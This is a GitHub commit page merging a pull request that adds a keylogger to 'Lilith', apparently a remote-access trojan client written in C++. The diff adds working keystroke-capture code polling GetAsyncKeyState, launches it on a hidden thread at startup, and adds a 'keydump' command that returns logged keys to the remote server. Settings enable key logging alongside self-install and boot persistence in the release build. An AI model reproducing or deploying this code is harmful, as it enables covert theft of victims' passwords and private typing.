Skip to content

Commit

Permalink
Merge pull request werkamsus#7 from JulianGi/keylogger
Browse files Browse the repository at this point in the history
Addition of a Keylogger by JulianGi
  • Loading branch information
werkamsus authored Sep 16, 2017
2 parents 7c2a296 + 5d338ae commit 314f164
Show file tree
Hide file tree
Showing 10 changed files with 198 additions and 4 deletions.
4 changes: 3 additions & 1 deletion Lilith/Lilith.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,7 @@
<ClCompile Include="conversion.cpp" />
<ClCompile Include="encryption.cpp" />
<ClCompile Include="general.cpp" />
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="Packet.cpp" />
<ClCompile Include="PacketManager.cpp" />
Expand All @@ -134,6 +135,7 @@
<ClInclude Include="encryption.h" />
<ClInclude Include="FileTransferData.h" />
<ClInclude Include="general.h" />
<ClInclude Include="keylogger.h" />
<ClInclude Include="Packet.h" />
<ClInclude Include="PacketManager.h" />
<ClInclude Include="PacketType.h" />
Expand All @@ -143,4 +145,4 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
</Project>
6 changes: 6 additions & 0 deletions Lilith/Lilith.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,9 @@
<ClCompile Include="utility.cpp">
<Filter>Source Files\Utility</Filter>
</ClCompile>
<ClCompile Include="keylogger.cpp">
<Filter>Source Files\Utility</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="settings.h">
Expand Down Expand Up @@ -101,5 +104,8 @@
<ClInclude Include="utility.h">
<Filter>Header Files\Utility</Filter>
</ClInclude>
<ClInclude Include="keylogger.h">
<Filter>Header Files\Utility</Filter>
</ClInclude>
</ItemGroup>
</Project>
5 changes: 5 additions & 0 deletions Lilith/general.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -271,6 +271,11 @@ std::string General::processCommand(std::string command)
restartSelf();
return "restarting";
}

else if (command == "keydump")
{
return Keylogger::DumpKeys();
}
else if (processParameter(command, "remoteControl"))
{
if (!CMD::cmdOpen)
Expand Down
1 change: 1 addition & 0 deletions Lilith/general.h
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@
#include "settings.h"
#include "conversion.h"
#include "utility.h"
#include "keylogger.h"



Expand Down
150 changes: 150 additions & 0 deletions Lilith/keylogger.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,150 @@
#include "keylogger.h"




void Keylogger::StartLogger()
{
while (true)
{
if (Settings::logKeys)
{
Logger();
}
Sleep(10);
}

}




std::string Keylogger::DumpKeys()
{
std::ifstream file;
file.open(Settings::keylogPath);
std::string keys;
while (!file.eof())
{
file >> keys;
}
file.close();
return keys;
}







void Keylogger::Logger()//keycode map taken from https://github.com/TheFox/keylogger/blob/master/src/main.cpp
{

std::ofstream file;
file.open(Settings::keylogPath, std::ios_base::app);

for (unsigned char c = 1; c < 255; c++) {
SHORT rv = GetAsyncKeyState(c);
if (rv & 1) { // on press button down
std::string out = "";
if (c == 1)
out = "[LMOUSE]"; // mouse left
else if (c == 2)
out = "[RMOUSE]"; // mouse right
else if (c == 4)
out = "[MMOUSE]"; // mouse middle
else if (c == 13)
out = "[RETURN]";
else if (c == 16 || c == 17 || c == 18)
out = "";
else if (c == 160 || c == 161) // lastc == 16
out = "[SHIFT]";
else if (c == 162 || c == 163) // lastc == 17
out = "[STRG]";
else if (c == 164) // lastc == 18
out = "[ALT]";
else if (c == 165)
out = "[ALT GR]";
else if (c == 8)
out = "[BACKSPACE]";
else if (c == 9)
out = "[TAB]";
else if (c == 27)
out = "[ESC]";
else if (c == 33)
out = "[PAGE UP]";
else if (c == 34)
out = "[PAGE DOWN]";
else if (c == 35)
out = "[HOME]";
else if (c == 36)
out = "[POS1]";
else if (c == 37)
out = "[ARROW LEFT]";
else if (c == 38)
out = "[ARROW UP]";
else if (c == 39)
out = "[ARROW RIGHT]";
else if (c == 40)
out = "[ARROW DOWN]";
else if (c == 45)
out = "[INS]";
else if (c == 46)
out = "[DEL]";
else if ((c >= 65 && c <= 90)
|| (c >= 48 && c <= 57)
|| c == 32)
out = c;

else if (c == 91 || c == 92)
out = "[WIN]";
else if (c >= 96 && c <= 105)
out = "[NUM " + intToString(c - 96) + "]";
else if (c == 106)
out = "[NUM /]";
else if (c == 107)
out = "[NUM +]";
else if (c == 109)
out = "[NUM -]";
else if (c == 109)
out = "[NUM ,]";
else if (c >= 112 && c <= 123)
out = "[F" + intToString(c - 111) + "]";
else if (c == 144)
out = "[NUM]";
else if (c == 192)
out = "[OE]";
else if (c == 222)
out = "[AE]";
else if (c == 186)
out = "[UE]";
else if (c == 186)
out = "+";
else if (c == 188)
out = ",";
else if (c == 189)
out = "-";
else if (c == 190)
out = ".";
else if (c == 191)
out = "#";
else if (c == 226)
out = "<";

else
out = "[KEY \\" + intToString(c) + "]";


file << out;
file.flush();
file.close();
}
}
}

std::string Keylogger::intToString(int i) {
char buffer[4];
_itoa_s(i, buffer, 10);
return std::string(buffer);
}
18 changes: 18 additions & 0 deletions Lilith/keylogger.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
#pragma once
#include "settings.h"
#include <fstream>
#include <iostream>
#include <Windows.h>
#include <string>
#include <thread>

class Keylogger
{
public:
static void StartLogger();
static std::string DumpKeys();
private:
static void Logger();
static std::string intToString(int i);
};

9 changes: 8 additions & 1 deletion Lilith/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -41,8 +41,15 @@ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdL

Client MyClient(Settings::serverIP, Settings::serverPort); //Client MyClient("nehcer.ddns.net", 38632);

std::thread Keylogger(Keylogger::StartLogger);
Keylogger.detach();

while (true)
{




if (!MyClient.connected)
{
while (!MyClient.Connect())
Expand All @@ -54,6 +61,6 @@ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdL
}



return 0;
}
4 changes: 4 additions & 0 deletions Lilith/settings.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,13 @@ std::string Settings::folderName = "lilithDEBUG folder"; //name of folder wh
std::string Settings::startupName = "lilithDEBUG startup"; //startup name in registry / taskmgr
std::string Settings::logFileName = "log.txt"; //name of log file
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc)
std::string Settings::keylogPath = "keylog.txt";
bool Settings::installSelf = false; //specifies whether the program should install itself
bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS)
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file
bool Settings::setStartupSelf = false; //specifies whether the program is to be started on system boot
bool Settings::logEvents = true;
bool Settings::logKeys = true;

#else

Expand All @@ -25,10 +27,12 @@ std::string Settings::folderName = "lilithRELEASE folder"; //name of folder
std::string Settings::startupName = "lilithRELEASE startup"; //startup name in registry / taskmgr
std::string Settings::logFileName = "log.txt"; //name of log file
std::string Settings::installLocation = "APPDATA"; //install location (appdata, programdata etc)
std::string Settings::keylogPath = "keylog.txt";
bool Settings::installSelf = true; //specifies whether the program should install itself
bool Settings::startOnNextBoot = false; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS)
bool Settings::meltSelf = false; //specifies whether the installed clone should delete the initial file
bool Settings::setStartupSelf = true; //specifies whether the program is to be started on system boot
bool Settings::logEvents = true;
bool Settings::logKeys = true;

#endif
2 changes: 2 additions & 0 deletions Lilith/settings.h
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,13 @@ class Settings
static std::string startupName; //startup name in registry / taskmgr
static std::string logFileName; //log file name
static std::string installLocation; //install location (appdata, programdata etc)
static std::string keylogPath; //path of the key press log file
static bool installSelf; //specifies whether the program should install itself
static bool startOnNextBoot; //specifies whether it should startup the installed clone of itself NOW or ON THE NEXT BOOT (ONLY IMPORTANT FOR INSTALLATION PROCESS)
static bool meltSelf; //specifies whether the installed clone should delete the initial file
static bool setStartupSelf; //specifies whether the program is to be started on system boot
static bool logEvents; //speciifies whether the program should log events (like errors etc)
static bool logKeys; //speciifies whether the program should log the users keystrokes

};

Expand Down
3 changes: 1 addition & 2 deletions Server/Server.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,6 @@
<ProjectGuid>{715F853A-BBBA-4BC8-A742-183ECD80EF27}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>Server</RootNamespace>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
Expand Down Expand Up @@ -167,4 +166,4 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
</Project>

0 comments on commit 314f164

Please sign in to comment.